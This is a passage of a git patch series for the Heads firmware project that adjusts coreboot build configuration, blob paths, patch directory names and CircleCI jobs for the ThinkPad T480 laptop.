-CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Skylake" -CONFIG_GFX_GMA_PCH="Sunrise_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_DRIVERS_RICOH_RCE822=y -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_USB_ACPI=y -# CONFIG_DRIVERS_MTK_WIFI is not set -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_STM is not set -# CONFIG_BOOTMEDIA_LOCK_NONE is not set -CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y -# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_CUSTOM_MADT=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_ACPI_LPIT=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y - -# -# I/O mapped, 8250-compatible -# -CONFIG_TTYS0_BASE=0x3f8 - -# -# Serial port base address = 0x3f8 -# -# CONFIG_CONSOLE_SERIAL_921600 is not set -# CONFIG_CONSOLE_SERIAL_460800 is not set -# CONFIG_CONSOLE_SERIAL_230400 is not set -CONFIG_CONSOLE_SERIAL_115200=y -# CONFIG_CONSOLE_SERIAL_57600 is not set -# CONFIG_CONSOLE_SERIAL_38400 is not set -# CONFIG_CONSOLE_SERIAL_19200 is not set -# CONFIG_CONSOLE_SERIAL_9600 is not set -CONFIG_TTYS0_LCS=3 -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -# CONFIG_CMOS_POST is not set -CONFIG_POST_DEVICE_NONE=y -# CONFIG_POST_DEVICE_LPC is not set -# CONFIG_POST_DEVICE_PCI_PCIE is not set -CONFIG_POST_IO_PORT=0x80 -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_ACPI_S1_NOT_SUPPORTED=y -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_IOAPIC=y -CONFIG_ACPI_NHLT=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_SMBIOS_PROVIDED_BY_MOBO=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set -CONFIG_PAYLOAD_LINUX=y -CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_SPD_READ_BY_WORD=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config index ff282ab90..b9379ff79 100644 --- a/config/coreboot-t480.config +++ b/config/coreboot-t480.config @@ -123,19 +123,16 @@ CONFIG_VGA_BIOS_ID="8086,0406" CONFIG_DIMM_MAX=2 CONFIG_DIMM_SPD_SIZE=512 CONFIG_FMDFILE="" -# CONFIG_NO_POST is not set +CONFIG_NO_POST=y CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0xEEC000 -CONFIG_CONSOLE_SERIAL=y +# CONFIG_CONSOLE_SERIAL is not set CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_DUAL=y CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_QUAD=y CONFIG_MAX_CPUS=8 -# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_POST_DEVICE=y -CONFIG_POST_IO=y -CONFIG_UART_FOR_CONSOLE=0 +CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_VARIANT_DIR="t480" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" CONFIG_DEVICETREE="devicetree.cb" @@ -153,7 +150,6 @@ CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR) # CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="T480" -# CONFIG_CONSOLE_POST is not set CONFIG_MAX_SOCKET=1 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 @@ -166,10 +162,10 @@ CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_USE_LEGACY_8254_TIMER=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y -CONFIG_IFD_BIN_PATH="@BLOB_DIR@/t480/ifd_16" -CONFIG_ME_BIN_PATH="@BLOB_DIR@/t480/me.bin" -CONFIG_GBE_BIN_PATH="@BLOB_DIR@/t480/gbe" +# CONFIG_DRIVERS_INTEL_WIFI is not set +CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx80/ifd.bin" +CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx80/me.bin" +CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx80/gbe.bin" CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_CARDBUS_PLUGIN_SUPPORT=y @@ -226,8 +222,7 @@ CONFIG_PS2M_EISAID="PNP0F13" CONFIG_THINKPADEC_HKEY_EISAID="IBM0068" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON=y -CONFIG_LENOVO_TBFW_BIN="@BLOB_DIR@/t480/tb.bin" -CONFIG_TTYS0_BAUD=115200 +CONFIG_LENOVO_TBFW_BIN="" # CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y CONFIG_D3COLD_SUPPORT=y @@ -260,10 +255,10 @@ CONFIG_COREBOOT_ROMSIZE_KB=16384 CONFIG_ROM_SIZE=0x01000000 CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set # CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 # end of Mainboard CONFIG_SYSTEM_TYPE_LAPTOP=y @@ -764,27 +759,10 @@ CONFIG_RTC=y CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y - -# -# I/O mapped, 8250-compatible -# -CONFIG_TTYS0_BASE=0x3f8 - -# -# Serial port base address = 0x3f8 -# -# CONFIG_CONSOLE_SERIAL_921600 is not set -# CONFIG_CONSOLE_SERIAL_460800 is not set -# CONFIG_CONSOLE_SERIAL_230400 is not set -CONFIG_CONSOLE_SERIAL_115200=y -# CONFIG_CONSOLE_SERIAL_57600 is not set -# CONFIG_CONSOLE_SERIAL_38400 is not set -# CONFIG_CONSOLE_SERIAL_19200 is not set -# CONFIG_CONSOLE_SERIAL_9600 is not set -CONFIG_TTYS0_LCS=3 # CONFIG_SPKMODEM is not set # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set @@ -799,11 +777,6 @@ CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -# CONFIG_CMOS_POST is not set -CONFIG_POST_DEVICE_NONE=y -# CONFIG_POST_DEVICE_LPC is not set -# CONFIG_POST_DEVICE_PCI_PCIE is not set -CONFIG_POST_IO_PORT=0x80 CONFIG_HWBASE_DEBUG_CB=y # end of Console From aff8e13a902a753e1053c87d8125067bcc7f7717 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 12 Feb 2025 13:33:15 -0500 Subject: [PATCH 29/50] targets/t480_me_blobs.mk: remove leftover artifact of @notgivenby from cleaner merged/adapted work from @gaspar-ilom Signed-off-by: Thierry Laurion --- boards/t480-hotp/t480-hotp.config | 2 +- boards/t480/t480.config | 2 +- modules/coreboot | 13 +++++++++---- ...001-soc-intel-skylake-configure-usb-acpi.patch | 0 ...ylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch | 0 ...ovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch | 0 ...04-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch | 0 ...ifdtool-add-nuke-flag-all-0xFF-on-region.patch | 0 ...ng-for-coreboot-images-built-without-a-p.patch | 0 ...07-mb-dell-optiplex_780-Add-USFF-variant.patch | 0 ...0008-dell-3050micro-disable-nvme-hotplug.patch | 0 ...dd-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch | 0 ...0-soc-intel-skylake-Don-t-compress-FSP-S.patch | 0 ...-pmc-Hardcoded-poweroff-after-power-fail.patch | 0 ...dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch | 0 ...ylake-Disable-stack-overflow-debug-optio.patch | 0 ...c-intel-x4x-Disable-stack-overflow-debug.patch | 0 .../85278-post-skylake-pr0.patch | 0 targets/t480_me_blobs.mk | 15 --------------- 19 files changed, 11 insertions(+), 21 deletions(-) rename patches/{coreboot-t480 => coreboot-2412}/0001-soc-intel-skylake-configure-usb-acpi.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0007-mb-dell-optiplex_780-Add-USFF-variant.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0008-dell-3050micro-disable-nvme-hotplug.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0014-src-intel-x4x-Disable-stack-overflow-debug.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/85278-post-skylake-pr0.patch (100%) delete mode 100644 targets/t480_me_blobs.mk diff --git a/boards/t480-hotp/t480-hotp.config b/boards/t480-hotp/t480-hotp.config index f5db69db3..7da65f1d8 100644 --- a/boards/t480-hotp/t480-hotp.config +++ b/boards/t480-hotp/t480-hotp.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=t480 +export CONFIG_COREBOOT_VERSION=2412 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config diff --git a/boards/t480/t480.config b/boards/t480/t480.config index acc827882..0d87ec978 100644 --- a/boards/t480/t480.config +++ b/boards/t480/t480.config @@ -8,7 +8,7 @@ # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=t480 +export CONFIG_COREBOOT_VERSION=2412 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config diff --git a/modules/coreboot b/modules/coreboot index be27e9c9a..5a022ed4a 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -98,11 +98,16 @@ coreboot-dasharo_commit_hash := 94e5f5d5b808cf8d8fd5c70d4ef6a08a054f8986 $(eval $(call coreboot_module,dasharo,24.02.01)) #coreboot-dasharo_patch_version := unreleased -# T480 is based on coreboot ~24.12 release (TODO: verify) -coreboot-t480_repo := https://review.coreboot.org/coreboot.git -coreboot-t480_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a +# T480 is based on coreboot ~24.12 release +# coreboot 24.12 doesn't include t480 support which is still under review at https://review.coreboot.org/c/coreboot/+/83274 +# TODO: track upstream WiP and switch to later upstream release containing patchset without relaying on libreboot downstream maintained patchset +# Therefore, patches/coreboot-2412 includes libreboot patches applied to 24.12 release +# patches/coreboot-2412 also includes PR0 patchset, minus xeon support which don't apply to 24.12 as per https://review.coreboot.org/c/coreboot/+/85278 +# TODO: @miczyg1 rebase of patchset so that doenstream don't have to maintain, adapt work +coreboot-2412_repo := https://review.coreboot.org/coreboot.git +coreboot-2412_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a #Don't reuse any coreboot buildstack for now since nothing else is based on 24.12 -$(eval $(call coreboot_module,t480,)) +$(eval $(call coreboot_module,2412,)) # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" diff --git a/patches/coreboot-t480/0001-soc-intel-skylake-configure-usb-acpi.patch b/patches/coreboot-2412/0001-soc-intel-skylake-configure-usb-acpi.patch similarity index 100% rename from patches/coreboot-t480/0001-soc-intel-skylake-configure-usb-acpi.patch rename to patches/coreboot-2412/0001-soc-intel-skylake-configure-usb-acpi.patch diff --git a/patches/coreboot-t480/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch b/patches/coreboot-2412/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch similarity index 100% rename from patches/coreboot-t480/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch rename to patches/coreboot-2412/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch diff --git a/patches/coreboot-t480/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch b/patches/coreboot-2412/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch similarity index 100% rename from patches/coreboot-t480/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch rename to patches/coreboot-2412/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch diff --git a/patches/coreboot-t480/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch b/patches/coreboot-2412/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch similarity index 100% rename from patches/coreboot-t480/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch rename to patches/coreboot-2412/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch diff --git a/patches/coreboot-t480/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch b/patches/coreboot-2412/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch similarity index 100% rename from patches/coreboot-t480/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch rename to patches/coreboot-2412/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch diff --git a/patches/coreboot-t480/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch b/patches/coreboot-2412/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch similarity index 100% rename from patches/coreboot-t480/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch rename to patches/coreboot-2412/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch diff --git a/patches/coreboot-t480/0007-mb-dell-optiplex_780-Add-USFF-variant.patch b/patches/coreboot-2412/0007-mb-dell-optiplex_780-Add-USFF-variant.patch similarity index 100% rename from patches/coreboot-t480/0007-mb-dell-optiplex_780-Add-USFF-variant.patch rename to patches/coreboot-2412/0007-mb-dell-optiplex_780-Add-USFF-variant.patch diff --git a/patches/coreboot-t480/0008-dell-3050micro-disable-nvme-hotplug.patch b/patches/coreboot-2412/0008-dell-3050micro-disable-nvme-hotplug.patch similarity index 100% rename from patches/coreboot-t480/0008-dell-3050micro-disable-nvme-hotplug.patch rename to patches/coreboot-2412/0008-dell-3050micro-disable-nvme-hotplug.patch diff --git a/patches/coreboot-t480/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch b/patches/coreboot-2412/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch similarity index 100% rename from patches/coreboot-t480/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch rename to patches/coreboot-2412/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch diff --git a/patches/coreboot-t480/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch b/patches/coreboot-2412/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch similarity index 100% rename from patches/coreboot-t480/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch rename to patches/coreboot-2412/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch diff --git a/patches/coreboot-t480/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch b/patches/coreboot-2412/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch similarity index 100% rename from patches/coreboot-t480/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch rename to patches/coreboot-2412/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch diff --git a/patches/coreboot-t480/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch b/patches/coreboot-2412/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch similarity index 100% rename from patches/coreboot-t480/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch rename to patches/coreboot-2412/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch diff --git a/patches/coreboot-t480/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch b/patches/coreboot-2412/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch similarity index 100% rename from patches/coreboot-t480/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch rename to patches/coreboot-2412/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch diff --git a/patches/coreboot-t480/0014-src-intel-x4x-Disable-stack-overflow-debug.patch b/patches/coreboot-2412/0014-src-intel-x4x-Disable-stack-overflow-debug.patch similarity index 100% rename from patches/coreboot-t480/0014-src-intel-x4x-Disable-stack-overflow-debug.patch rename to patches/coreboot-2412/0014-src-intel-x4x-Disable-stack-overflow-debug.patch diff --git a/patches/coreboot-t480/85278-post-skylake-pr0.patch b/patches/coreboot-2412/85278-post-skylake-pr0.patch similarity index 100% rename from patches/coreboot-t480/85278-post-skylake-pr0.patch rename to patches/coreboot-2412/85278-post-skylake-pr0.patch diff --git a/targets/t480_me_blobs.mk b/targets/t480_me_blobs.mk deleted file mode 100644 index 5802fa3be..000000000 --- a/targets/t480_me_blobs.mk +++ /dev/null @@ -1,15 +0,0 @@ -# TODO describe the process for t480 -#Targets for downloading t480 ME blob, cleaning and deguarding. - -# t480-*-maximized boards require you to initially call -# - blobs/t480/download-clean-deguard-me.sh -# To download donor's Dells-Inspiron.exe, extract ME binary with biosutilities from libreboot, clean ME, -# and deguard it using Mate Kukri deguard tool. - -# Make the Coreboot build depend on the following 3rd party blobs: -$(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ - $(pwd)/blobs/t480/me.bin - -$(pwd)/blobs/t480/me.bin: - COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ - $(pwd)/blobs/t480/download-clean-deguard-me.sh $(pwd)/blobs/t480 From cfeb1e3fca72a8048e114c2e2fb469ceedd5ca71 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 13 Feb 2025 11:17:52 -0500 Subject: [PATCH 30/50] CircleCI: build workspace cache when building t480-hotp so t480 can reuse it (crossgcc coreboot requirements hiccup boostrapping GCC 14 Feb 12 19:37:11 Unpacked and patched ... ok Feb 12 19:37:11 Building packages ... Feb 12 19:38:02 Building GMP v6.3.0 for host ... ok Feb 12 19:38:36 Building MPFR v4.2.1 for host ... ok Feb 12 19:38:47 Building MPC v1.3.1 for host ... ok Feb 12 19:41:04 Building BINUTILS v2.43.1 for target ... ok Feb 12 19:46:58 Building GCC v14.2.0 for target ... failed. Check 'build-i386-elf-GCC/build.log'. make[3]: *** [Makefile:20: build_gcc] Error 1 make[2]: *** [Makefile:36: build-i386] Error 2 make[1]: *** [util/crossgcc/Makefile.mk:32: crossgcc-i386] Error 2 Feb 12 19:46:58 make[1]: Leaving directory '/root/heads/build/x86/coreboot-2412' make: *** [modules/coreboot:172: /root/heads/build/x86/coreboot-2412/.heads-toolchain] Error 2 See https://app.circleci.com/pipelines/github/tlaurion/heads/3121/workflows/247e4cec-fe5d-4601-9192-a8bd46499d7b/jobs/61955?invite=true#step-102-36915_97 Signed-off-by: Thierry Laurion --- .circleci/config.yml | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 54cfa7591..28f7fa536 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -244,6 +244,14 @@ workflows: requires: - x230-hotp-maximized + # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache + - build_and_persist: + name: t480-hotp + target: t480-hotp + subcommand: "" + requires: + - x86-musl-cross-make + # coreboot nitropad # Nitropads depending on x230-hotp-maximized cache since kernel is 6.x and coreboot is git is unshared # We use nitropad's coreboot's fork crossgcc @@ -510,14 +518,6 @@ workflows: requires: - librem_14 - # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - - build: - name: t480-hotp - target: t480-hotp - subcommand: "" - requires: - - x86-musl-cross-make - # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build: name: t480 From 296e7be363b9152d63c23ba6a8ec0ad7c4043299 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Thu, 13 Feb 2025 22:57:54 +0100 Subject: [PATCH 31/50] try fixing tpm config for t480 Signed-off-by: gaspar-ilom --- boards/t480-hotp/t480-hotp.config | 6 +++++- 